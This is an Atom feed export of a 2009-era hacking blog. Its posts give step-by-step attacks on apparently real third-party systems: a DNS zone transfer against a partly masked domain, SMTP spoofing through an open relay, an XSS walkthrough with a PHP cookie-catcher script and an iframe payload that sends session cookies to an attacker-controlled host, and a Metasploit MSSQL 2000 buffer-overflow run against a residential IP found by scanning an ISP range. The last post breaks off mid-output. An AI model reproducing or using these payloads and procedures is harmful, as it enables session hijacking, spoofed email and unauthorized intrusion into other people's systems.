rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-3105064673474671455</id><published>2009-12-23T08:58:00.002-05:00</published><updated>2009-12-23T09:00:09.805-05:00</updated><title type='text'>Cisco DTP Hack</title><content type='html'>Well unfortunate I wasn't able to get this to work. I will try again over Christmas I was not able to pick up any DTP packets. I'm going to have to do more research on it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-3105064673474671455?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/3105064673474671455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=3105064673474671455' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3105064673474671455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3105064673474671455'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2009/12/cisco-dtp-hack.html' title='Cisco DTP Hack'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-833458347496814647</id><published>2009-12-22T08:56:00.003-05:00</published><updated>2009-12-22T08:58:23.764-05:00</updated><title type='text'>Configure Cisco Router</title><content type='html'>Well this is going to be a two part hack. I configured a cisco switch for 3 diffrent VlAN's I'll be using 2 of the VLAN's please look at the config for any questions this is on a Catalyst 3500 XL switch.&lt;br /&gt;&lt;br /&gt;Continue with configuration dialog? [yes/no]:&lt;br /&gt;% Please answer 'yes' or 'no'.&lt;br /&gt;Continue with configuration dialog? [yes/no]:&lt;br /&gt;% Please answer 'yes' or 'no'.&lt;br /&gt;Continue with configuration dialog? [yes/no]: no&lt;br /&gt;Press RETURN to get started.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Switch&gt;en&lt;br /&gt;Switch#config t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Switch(config)#int&lt;br /&gt;% Incomplete command.&lt;br /&gt;&lt;br /&gt;Switch(config)#&lt;br /&gt;Switch(config)#interface ?&lt;br /&gt; FastEthernet       FastEthernet IEEE 802.3&lt;br /&gt; GigabitEthernet    GigabitEthernet IEEE 802.3z&lt;br /&gt; Multilink          Multilink-group interface&lt;br /&gt; Port-channel       Ethernet Channel of interfaces&lt;br /&gt; VLAN               Switch VLAN Virtual Interface&lt;br /&gt; Virtual-TokenRing  Virtual TokenRing&lt;br /&gt;&lt;br /&gt;Switch(config)#interface&lt;br /&gt;% Incomplete command.&lt;br /&gt;&lt;br /&gt;Switch(config)#interface Fast&lt;br /&gt;Switch(config)#interface FastEthernet0/1&lt;br /&gt;Switch(config-if)#?&lt;br /&gt;Interface configuration commands:&lt;br /&gt; arp                     Set arp type (arpa, probe, snap) or timeout&lt;br /&gt; bandwidth               Set bandwidth informational parameter&lt;br /&gt; carrier-delay           Specify delay for interface transitions&lt;br /&gt; cdp                     CDP interface subcommands&lt;br /&gt; custom-queue-list       Assign a custom queue list to an interface&lt;br /&gt; default                 Set a command to its defaults&lt;br /&gt; delay                   Specify interface throughput delay&lt;br /&gt; description             Interface specific description&lt;br /&gt; duplex                  Configure duplex operation.&lt;br /&gt; exit                    Exit from interface configuration mode&lt;br /&gt; fair-queue              Enable Fai&lt;br /&gt; help                    Description of the interactive help system&lt;br /&gt; hold-queue              Set hold queue depth&lt;br /&gt; keepalive               Enable keepalive&lt;br /&gt; load-interval           Specify interval for load calculation for an&lt;br /&gt;                         interface&lt;br /&gt; logging                 Configure logging for interface&lt;br /&gt; loopback                Configure internal loopback on an interface&lt;br /&gt; mac-address             Manually set interface MAC address&lt;br /&gt; max-reserved-bandwidth  Maximum Reservable Bandwidth on an&lt;br /&gt; media-type              Interface media type&lt;br /&gt; mtu                     Set the interface Maximum Transmission Unit&lt;br /&gt;(MTU)&lt;br /&gt; mvr                     MVR per port configuration&lt;br /&gt; negotiation             Select Autonegotiation mode&lt;br /&gt; no                      Negate a command or set its defaults&lt;br /&gt; port                    Perform switch port configuration&lt;br /&gt; power                   power configuration&lt;br /&gt; priority-group          Assign a priority group to an interface&lt;br /&gt; random-detect           Enable Weighted Random Ea&lt;br /&gt;                         Interface&lt;br /&gt; rmon                    Configure Remote Monitoring on an interface&lt;br /&gt; service-policy          Configure QoS Service Policy&lt;br /&gt; shutdown                Shutdown the selected interface&lt;br /&gt; snmp                    Modify SNMP interface parameters&lt;br /&gt; spanning-tree           Spanning Tree Subsystem&lt;br /&gt; speed                   Configure speed operation.&lt;br /&gt; switchport              Set switching mode characteristics&lt;br /&gt; timeout                 Define timeout values for this interface&lt;br /&gt; transmit-interface      Assign a transmit interface to a&lt;br /&gt;receive-only&lt;br /&gt;                         interface&lt;br /&gt; tx-queue-limit          Configure card level transmit queue limit&lt;br /&gt; udld                    Configure UDLD enabled or disabled and&lt;br /&gt;ignore global&lt;br /&gt;                         UDLD setting&lt;br /&gt;&lt;br /&gt;Switch(config-if)#^Z&lt;br /&gt;Switch#&lt;br /&gt;00:13:29: %SYS-5-CONFIG_I: Configured from console by consoleshow vtp&lt;br /&gt;status&lt;br /&gt;VTP Version                     : 2&lt;br /&gt;Configuration Revision          : 0&lt;br /&gt;Maximum VLANs supported locally : 254&lt;br /&gt;Number of existing VLANs        : 5&lt;br /&gt;VTP Operating Mode              : Server&lt;br /&gt;VTP Domain Name                 :&lt;br /&gt;VTP Pruning Mode                : Disabled&lt;br /&gt;VTP V2 Mode                     : Disabled&lt;br /&gt;VTP Traps Generation            : Disabled&lt;br /&gt;MD5 digest                      : 0xBF 0x86 0x94 0x45 0xFC 0xDF 0xB5&lt;br /&gt;0x70&lt;br /&gt;Configuration last modified by 0.0.0.0 at 0-0-00 00:00:00&lt;br /&gt;Switch#show vlan&lt;br /&gt;VLAN Name                             Status    Ports&lt;br /&gt;---- -------------------------------- ---------&lt;br /&gt;--------------------------&lt;br /&gt;1    default                          active    Fa0/1, Fa0/2, Fa0/3,&lt;br /&gt;Fa0/4,&lt;br /&gt;                                               Fa0/5, Fa0/6, Fa0/7,&lt;br /&gt;Fa0/8,&lt;br /&gt;                                               Fa0/9, Fa0/10, Fa0/11,&lt;br /&gt;Fa0/12,&lt;br /&gt;                                               Fa0/13, Fa0/14,&lt;br /&gt;Fa0/15, Fa0/16,&lt;br /&gt;                                               Fa0/17, Fa0/18,&lt;br /&gt;Fa0/19, Fa0/20,&lt;br /&gt;                                               Fa0/21, Fa0/22,&lt;br /&gt;Fa0/23, Fa0/24,&lt;br /&gt;&lt;br /&gt;1002 fddi-default                     active&lt;br /&gt;1003 token-ring-default               active&lt;br /&gt;1004 fddinet-default                  active&lt;br /&gt;1005 trnet-default                    active&lt;br /&gt;&lt;br /&gt;VLAN Type  SAID       MTU   Parent RingNo BridgeNo Stp  BrdgMode&lt;br /&gt;Trans1 Trans2&lt;br /&gt;---- ----- ---------- ----- ------ ------ -------- ---- --------&lt;br /&gt;------ ------&lt;br /&gt;1    enet  100001     1500  -      -      -        -    -        1002&lt;br /&gt; 1003&lt;br /&gt;1002 fddi  101002     1500  -      -      -        -    -        1&lt;br /&gt; 1003&lt;br /&gt;1003 tr    101003     1500  1005   0      -        -    srb      1&lt;br /&gt; 1002&lt;br /&gt;1004 fdnet 101004     1500  -      -      1        ibm  -        0&lt;br /&gt; 0&lt;br /&gt;1005 trnet 101005     1500  -      -      1        ibm  -        0&lt;br /&gt; 0&lt;br /&gt;Switch#vlan database&lt;br /&gt;Switch(vlan)#vtp server&lt;br /&gt;Device mode already VTP SERVER.&lt;br /&gt;Switch(vlan)#vlan 2 name test&lt;br /&gt;VLAN 2 added:&lt;br /&gt;   Name: test&lt;br /&gt;Switch(vlan)#exit&lt;br /&gt;APPLY completed.&lt;br /&gt;Exiting....&lt;br /&gt;Switch#show vlan&lt;br /&gt;VLAN Name                             Status    Ports&lt;br /&gt;---- -------------------------------- --&lt;br /&gt;1    default                          active    Fa0/1, Fa0/2, Fa0/3,&lt;br /&gt;Fa0/4,&lt;br /&gt;                                               Fa0/5, Fa0/6, Fa0/7,&lt;br /&gt;Fa0/8,&lt;br /&gt;                                               Fa0/9, Fa0/10, Fa0/11,&lt;br /&gt;Fa0/12,&lt;br /&gt;                                               Fa0/13, Fa0/14,&lt;br /&gt;Fa0/15, Fa0/16,&lt;br /&gt;                                               Fa0/17, Fa0/18,&lt;br /&gt;Fa0/19, Fa0/20,&lt;br /&gt;                                               Fa0/21, Fa0/22,&lt;br /&gt;Fa0/23, Fa0/24,&lt;br /&gt;&lt;br /&gt;2    test                             active&lt;br /&gt;1002 fddi-default                     active&lt;br /&gt;1003 token-ring-default               active&lt;br /&gt;1004 fddinet-default                  active&lt;br /&gt;1005 trnet-default                    active&lt;br /&gt;&lt;br /&gt;VLAN Type  SAID       MTU   Parent RingNo BridgeNo Stp  BrdgMode&lt;br /&gt;Trans1 Trans2&lt;br /&gt;---- ----- ---------- ----- ------ ------ -------- ---- --------&lt;br /&gt;------ ------&lt;br /&gt;1    enet  100001     1500  -      -      -        -    -        1002&lt;br /&gt; 1003&lt;br /&gt;2    enet  100002     1500  -      -      -        -&lt;br /&gt;1002 fddi  101002     1500  -      -      -        -    -        1&lt;br /&gt; 1003&lt;br /&gt;1003 tr    101003     1500  1005   0      -        -    srb      1&lt;br /&gt; 1002&lt;br /&gt;1004 fdnet 101004     1500  -      -      1        ibm  -        0&lt;br /&gt; 0&lt;br /&gt;1005 trnet 101005     1500  -      -      1        ibm  -        0&lt;br /&gt; 0&lt;br /&gt;Switch#vlan database&lt;br /&gt;Switch(vlan)#vtp server&lt;br /&gt;Device mode already VTP SERVER.&lt;br /&gt;Switch(vlan)#vlan 3 name test2&lt;br /&gt;VLAN 3 added:&lt;br /&gt;   Name: test2&lt;br /&gt;Switch(vlan)#exit&lt;br /&gt;APPLY completed.&lt;br /&gt;Exiting....&lt;br /&gt;Switch#config t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Switch(config)#int vlan2&lt;br /&gt;Switch(config-subif)#management&lt;br /&gt;Switch(config-subif)#&lt;br /&gt;Switch#&lt;br /&gt;00:19:43: %SYS-5-CONFIG_I: Configured from console by consoleconfig t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Switch(config)#int fa&lt;br /&gt;Switch(config)#int fastEthernet 0/5&lt;br /&gt;Switch(config-if)#switchport access vlan2&lt;br /&gt;                                       ^&lt;br /&gt;% Invalid input detected at '^' marker.&lt;br /&gt;&lt;br /&gt;Switch(config-if)#switchport access vlan 2&lt;br /&gt;Switch(confi&lt;br /&gt;Switch(config)#inter&lt;br /&gt;Switch(config)#interface fast&lt;br /&gt;Switch(config)#interface fastEthernet 0/6&lt;br /&gt;Switch(config-if)#switchport access vlan 2&lt;br /&gt;Switch(config-if)#exit&lt;br /&gt;Switch(config)#interface fastEthernet 0/7&lt;br /&gt;Switch(config-if)#switchport access vlan 2&lt;br /&gt;Switch(config-if)#exit&lt;br /&gt;Switch(config)#interface fastEthernet 0/10&lt;br /&gt;Switch(config-if)#switchport access vlan 3&lt;br /&gt;Switch(config-if)#exit&lt;br /&gt;Switch(config)#interface fastEthernet 0/11&lt;br /&gt;Switch(config-if)#switchport access vlan 3&lt;br /&gt;Switch(config-if)#exit&lt;br /&gt;Switch(config)#interface fastEther&lt;br /&gt;Switch(config-if)#switchport access vlan 3&lt;br /&gt;Switch(config-if)#exit&lt;br /&gt;Switch(config)#end&lt;br /&gt;Switch#write&lt;br /&gt;00:23:15: %SYS-5-CONFIG_I: Configured from console by console memorey&lt;br /&gt;                 ^&lt;br /&gt;% Invalid input detected at '^' marker.&lt;br /&gt;&lt;br /&gt;Switch#write memory&lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Switch#show vlan&lt;br /&gt;VLAN Name                             Status    Ports&lt;br /&gt;---- -------------------------------- --------- -------------------------------&lt;br /&gt;1    default                          active    Fa0/1, Fa0/2, Fa0/3, Fa0/4,&lt;br /&gt;                                               Fa0/8, Fa0/9, Fa0/13, Fa0/14,&lt;br /&gt;                                               Fa0/15, Fa0/16, Fa0/17, Fa0/18,&lt;br /&gt;                                               Fa0/19, Fa0/20, Fa0/21, Fa0/22,&lt;br /&gt;                                               Fa0/23, Fa0/24, Gi0/1, Gi0/2&lt;br /&gt;2    test                             active    Fa0/5, Fa0/6, Fa0/7&lt;br /&gt;3    test2                            active    Fa0/10, Fa0/11, Fa0/12&lt;br /&gt;1002 fddi-default                     active&lt;br /&gt;1003 token-ring-default               active&lt;br /&gt;1004 fddinet-default                  active&lt;br /&gt;1005 trnet-default                    active&lt;br /&gt;&lt;br /&gt;VLAN Type  SAID       MTU   Parent RingNo BridgeNo Stp  BrdgMode Trans1 Trans2&lt;br /&gt;---- ----- ---------- ----- ------ ------ -------- ---- -------- ------ ------&lt;br /&gt;1    enet  100001     1500  -      -      -        -    -        1002   1003&lt;br /&gt;2    enet  100002     1500  -      -      -        -    -        0      0&lt;br /&gt;3    enet  100003     1500  -      -      -        -    -        0      0&lt;br /&gt;1002 fddi  101002     1500  -      -      -        -    -        1      1003&lt;br /&gt;1003 tr    101003     1500  1005   0      -        -    srb      1      1002&lt;br /&gt;1004 fdnet 101004     1500  -      -      1        ibm  -        0      0&lt;br /&gt;1005 trnet 101005     1500  -      -      1        ibm  -        0      0&lt;br /&gt;Switch#&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-833458347496814647?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/833458347496814647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=833458347496814647' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/833458347496814647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/833458347496814647'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2009/12/configure-cisco-router.html' title='Configure Cisco Router'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-2518556136533565612</id><published>2009-12-21T09:58:00.003-05:00</published><updated>2009-12-21T11:12:01.205-05:00</updated><title type='text'>DNS Zone Transfer</title><content type='html'>DNS Zone transfer is when a DNS server is incorrectly configured to allow any one to ask for a DNS list of a certain domain. I wanted to find a specific example of a Zone transfer that had internal IP's on the transfer after nmaping ranges for port 53 I found one. Now you need to know the domain name in order to do the transfer and not a lot of people have Reverse DNS so I got lucky finding one that had both port 53 and 25 open. To find the name I telnet to port 25 and do a Helo request, on this one I did not need to do a Helo&lt;br /&gt;&lt;br /&gt;C:\Users\Syrus&gt;telnet **.192.22.105 25&lt;br /&gt;220 rack1.*********.com ESMTP Postfix&lt;br /&gt; &lt;br /&gt;Now to do the zone transfer the syntax is host -l domain name ip address or dns name of DNS server&lt;br /&gt;&lt;br /&gt;bt ~ # host -l *********.com **.192.22.105&lt;br /&gt;Using domain server:&lt;br /&gt;Name: **.192.22.105&lt;br /&gt;Address: **.192.22.105#53&lt;br /&gt;Aliases:&lt;br /&gt;*********.com has address **.192.22.105&lt;br /&gt;*********.com name server ns1.*********.com.&lt;br /&gt;internal.*********.com has address 192.168.60.254&lt;br /&gt;internal2.*********.com has address 192.168.60.254&lt;br /&gt;isc.*********.com has address **.203.105.185&lt;br /&gt;isc-pi.*********.com has address **.203.105.185&lt;br /&gt;mail.*********.com has address **.192.22.105&lt;br /&gt;new.*********.com has address **.192.22.105&lt;br /&gt;ns1.*********.com has address **.192.22.105&lt;br /&gt;ns2.*********.com has address **.192.22.106&lt;br /&gt;rack1.*********.com has address **.192.22.105&lt;br /&gt;rack2.*********.com has address **.192.22.106&lt;br /&gt;rack3.*********.com has address **.192.22.107&lt;br /&gt;rack4.*********.com has address **.192.22.108&lt;br /&gt;rack5.*********.com has address **.192.22.109&lt;br /&gt;smtp.*********.com has address **.192.22.105&lt;br /&gt;&lt;br /&gt;You have a good network map with some internal IP's go find some more that are vulnerable against Zone transfers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-2518556136533565612?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/2518556136533565612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=2518556136533565612' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/2518556136533565612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/2518556136533565612'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2009/12/dns-zone-transfer.html' title='DNS Zone Transfer'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-7964548760714726454</id><published>2009-12-21T09:40:00.003-05:00</published><updated>2009-12-21T09:54:29.713-05:00</updated><title type='text'>SMTP Spoofing</title><content type='html'>This is an old exploit I guess you would call it. It is not available in wide use but I was playing with it over the weekend and I figured I would post it.&lt;br /&gt;&lt;br /&gt;C:\Users\Syrus&gt;telnet mail.*******.com 2525&lt;br /&gt;&lt;br /&gt;220 smtp.*******.com Microsoft ESMTP MAIL Service, Version: 6.0.3790.3959 ready&lt;br /&gt;at  Mon, 21 Dec 2009 09:49:36 -0500&lt;br /&gt;HELO&lt;br /&gt;250 smtp.*******.com Hello [10.10.10.100]&lt;br /&gt;MAIL FROM: user@*******.com&lt;br /&gt;250 2.1.0 user@*******.com....Sender OK&lt;br /&gt;RCPT TO: *******@gmail.com&lt;br /&gt;250 2.1.5 *******@gmail.com&lt;br /&gt;DATA&lt;br /&gt;354 Start mail input; end with &lt;CRLF&gt;.&lt;CRLF&gt;&lt;br /&gt;Here is my email message.&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;250 2.6.0 &lt;EXCHANGEOImd1UtYj7X000000e0@smtp.*******.com&gt; Queued mail for delivery&lt;br /&gt;&lt;br /&gt;And Viola email sent from email address with no password or anything. Very Useful!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-7964548760714726454?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/7964548760714726454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=7964548760714726454' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/7964548760714726454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/7964548760714726454'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2009/12/smtp-spoofing.html' title='SMTP Spoofing'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-936409060166616638</id><published>2009-12-21T09:02:00.003-05:00</published><updated>2009-12-21T09:19:53.967-05:00</updated><title type='text'>XSS</title><content type='html'>Well I was testing my friends site for vulnerability and I found it was vulnerable to Cross Site Scripting. The environment I used it on was php forum. The first thing I needed to do was to see if the forum allowed user to run scripts to do this I made a new thread with the script &lt;br /&gt;&amp;lt script&amp;gt alert("Do you work")&amp;lt/script&amp;gt &lt;br /&gt;in it. And well it worked! So the next step I made was to see if it was cookie based so in the url I put &lt;br /&gt;javascript:alert(document.cookie)&lt;br /&gt;and I got an alert with my cookies in it. So it's starting to look real good. So now you need a cookie catcher. It's a simple php script &lt;br /&gt;&amp;lt?php&lt;br /&gt;$cookie = $_GET['c'];&lt;br /&gt;$ip = getenv ('REMOTE_ADDR');&lt;br /&gt;$date=date("j F, Y, g:i a");;&lt;br /&gt;$referer=getenv ('HTTP_REFERER');&lt;br /&gt;$fp = fopen('cookies.html', 'a');&lt;br /&gt;fwrite($fp, 'Cookie: '.$cookie.'&amp;lt br &amp;gt IP: ' .$ip. '&amp;lt br &amp;gt Date and Time: ' .$date. '&amp;lt br &amp;gt Referer: '.$referer.'&amp;lt br &amp;gt &amp;lt br &amp;gt &amp;lt br &amp;gt');&lt;br /&gt;fclose($fp);&lt;br /&gt;header ("Location: http://www.*******.com");&lt;br /&gt;?&amp;gt&lt;br /&gt;So upload your php script to a php supported webhosting site. I used t35. Now you are going to make an iframe. You are going to want it small as possible for its not seen so I set height width and boarder to 0 you also want to set the document location to the location of your cookie catcher&lt;br /&gt;&amp;lt iframe frameboarder=0 height=0 width=0 src=javascript:void(document.location="http://********.t35.com/cookie.php?c="+document.cookie) &amp;lt/iframe &amp;gt&lt;br /&gt;&lt;br /&gt;Now when a user who is logged in browses to your thread you will catch his cookies in a document called cookie.html here is what the cookies looked like that I caught from my friends site &lt;br /&gt;PHPSESSID=dqecpehg45ah5431f1q12p4pd1&lt;br /&gt;So now you have someones cookies what do you do? Well first make sure you are logged out of the site. So now you inject there cookies into your browser you do this by typing the following in the URL &lt;br /&gt;javascript:void(document.cookie="PHPSESSID=dqecpehg45ah5431f1q12p4pd1")&lt;br /&gt;Hitting enter then refresh and you should be logged in as the user.A reason why this would not work is if the cookies are IP based meaning you need to have a certain IP in order to use those cookies.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-936409060166616638?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/936409060166616638/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=936409060166616638' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/936409060166616638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/936409060166616638'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2009/12/well-i-was-testing-my-friends-site-for.html' title='XSS'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-4659261446796183691</id><published>2009-12-21T08:18:00.000-05:00</published><updated>2009-12-21T08:19:47.593-05:00</updated><title type='text'>It's been a while</title><content type='html'>Well it has been a while I hope to be able to do weekly updates today I will hopefully get to new exploits up. I saw I have some comments I will try to respond to them today as well thanks for all the support!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-4659261446796183691?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/4659261446796183691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=4659261446796183691' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/4659261446796183691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/4659261446796183691'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2009/12/its-been-while.html' title='It&apos;s been a while'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-3488411254612581999</id><published>2008-07-28T11:35:00.000-04:00</published><updated>2008-07-28T11:36:28.271-04:00</updated><title type='text'>MSSQL Exploit</title><content type='html'>The following exploit is for Microsoft SQL Server.&lt;br /&gt;&lt;br /&gt;Requirements&lt;br /&gt;Metasploit framework&lt;br /&gt;NMap&lt;br /&gt;&lt;br /&gt;Microsoft SQL Server listens on port 1433 and port 1434. Port 1433 is a TCP (Transmission Control Protocol) port. While 1434 is a UDP (User Defined Protocol) port. For NMap we will be using a SYN Scan a SYN scan is pretty much like playing ding dong ditch. A regular protocol requires a three way hand shake. A SYN scan initiates the hand shake waits for a reply then leaves. Metasploit we will be using the exploit MSSQL 2000/MSDE Resolution Overflow. “This is an exploit for the SQL Server 2000 resolution service buffer overflow. This overflow is triggered by sending a udp packet to port 1434 which starts with 0x04 and is followed by long string terminating with a colon and a number. This module should work against any vulnerable SQL Server 2000 or MSDE install (pre-SP3).”&lt;br /&gt;&lt;br /&gt;First step is to find a vulnerable host to do this we will be looking for a host that has port 1434 open. When I scan hosts with NMap I always give it a range for I have a better chance of getting a hit. I also have the command output the results to a file for I have them on record and they are easier to search.&lt;br /&gt;&lt;br /&gt;#nmap –sU –p1434 –P0 –sS 24.151.0.0/16 &gt;&gt;/home/user/1434.txt&lt;br /&gt;&lt;br /&gt;-sU   UDP scan&lt;br /&gt;-p     What port to scan in this case 1434&lt;br /&gt;-P0    Don’t ping host first&lt;br /&gt;-sS    SYN scan this is for TCP but I’m in the habit of always using it&lt;br /&gt;IP      The IP address 24.151.0.0&lt;br /&gt;/         Subnet suffix in this case 16=255.255.0.0&lt;br /&gt;&gt;&gt;     Where the output file is going to be located&lt;br /&gt;&lt;br /&gt;The scan is going to take a while we are scanning 65,025 hosts. When the scan is done or 30min feel free to start searching the output file for anything that says open.&lt;br /&gt;&lt;br /&gt;Interesting ports on 24-151-73-076.dhcp.nwtn.ct.charter.com (24.151.73.76):&lt;br /&gt;PORT     STATE SERVICE&lt;br /&gt;1434/udp open  ms-sql-s&lt;br /&gt;&lt;br /&gt;So now that we found a potential box for attack we try to hack it. I will be using Metasploit 2 console for this attack, Metasploit 3, gui and web interface will all work as well.&lt;br /&gt;&lt;br /&gt;#msfconsole&lt;br /&gt;[*] Starting the Metasploit Framework...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;+ -- --=[ msfconsole v2.7 [158 exploits - 76 payloads]&lt;br /&gt;&lt;br /&gt;msf &gt;use mssql2000_resolution&lt;br /&gt;msf mssql2000_resolution &gt;set PAYLOAD win32_reverse_meterpreter&lt;br /&gt;PAYLOAD -&gt; win32_bind_meterpreter&lt;br /&gt;msf mssql2000_resolution(win32_bind_meterpreter) &gt; show options&lt;br /&gt;&lt;br /&gt;Exploit and Payload Options&lt;br /&gt;===========================&lt;br /&gt;&lt;br /&gt;  Exploit:    Name      Default    Description&lt;br /&gt;  --------    ------    -------    ------------------&lt;br /&gt;  required    RHOST                The target address&lt;br /&gt;  required    RPORT     1434       The target port&lt;br /&gt;&lt;br /&gt;  Payload:    Name        Default                                        Description&lt;br /&gt;  --------    --------    -------------------------------------------    ----------------------&lt;br /&gt;--------------------&lt;br /&gt;  required    EXITFUNC    process                                        Exit technique: "proce&lt;br /&gt;ss", "thread", "seh"&lt;br /&gt;  required    METDLL      /home/framework/data/meterpreter/metsrv.dll    The full path the mete&lt;br /&gt;rpreter server dll&lt;br /&gt;  required    LPORT       4444                                           Listening port for bin&lt;br /&gt;d shell&lt;br /&gt;&lt;br /&gt;  Target: MSQL 2000 / MSDE&lt;br /&gt;&lt;br /&gt;msf mssql2000_resolution(win32_bind_meterpreter) &gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf mssql2000_resolution(win32_bind_meterpreter) &gt; set RHOST 24.151.73.76&lt;br /&gt;RHOST -&gt; 24.151.73.76&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf mssql2000_resolution(win32_bind_meterpreter) &gt; set LHOST 10.10.10.197&lt;br /&gt;LHOST -&gt; 10.10.10.197&lt;br /&gt;msf mssql2000_resolution(win32_bind_meterpreter) &gt; exploit&lt;br /&gt;[*] Starting Bind Handler.&lt;br /&gt;[*] Trying target MSQL 2000 / MSDE with return address 0x42b48774&lt;br /&gt;[*] Execute 'net start sqlserveragent' once access is 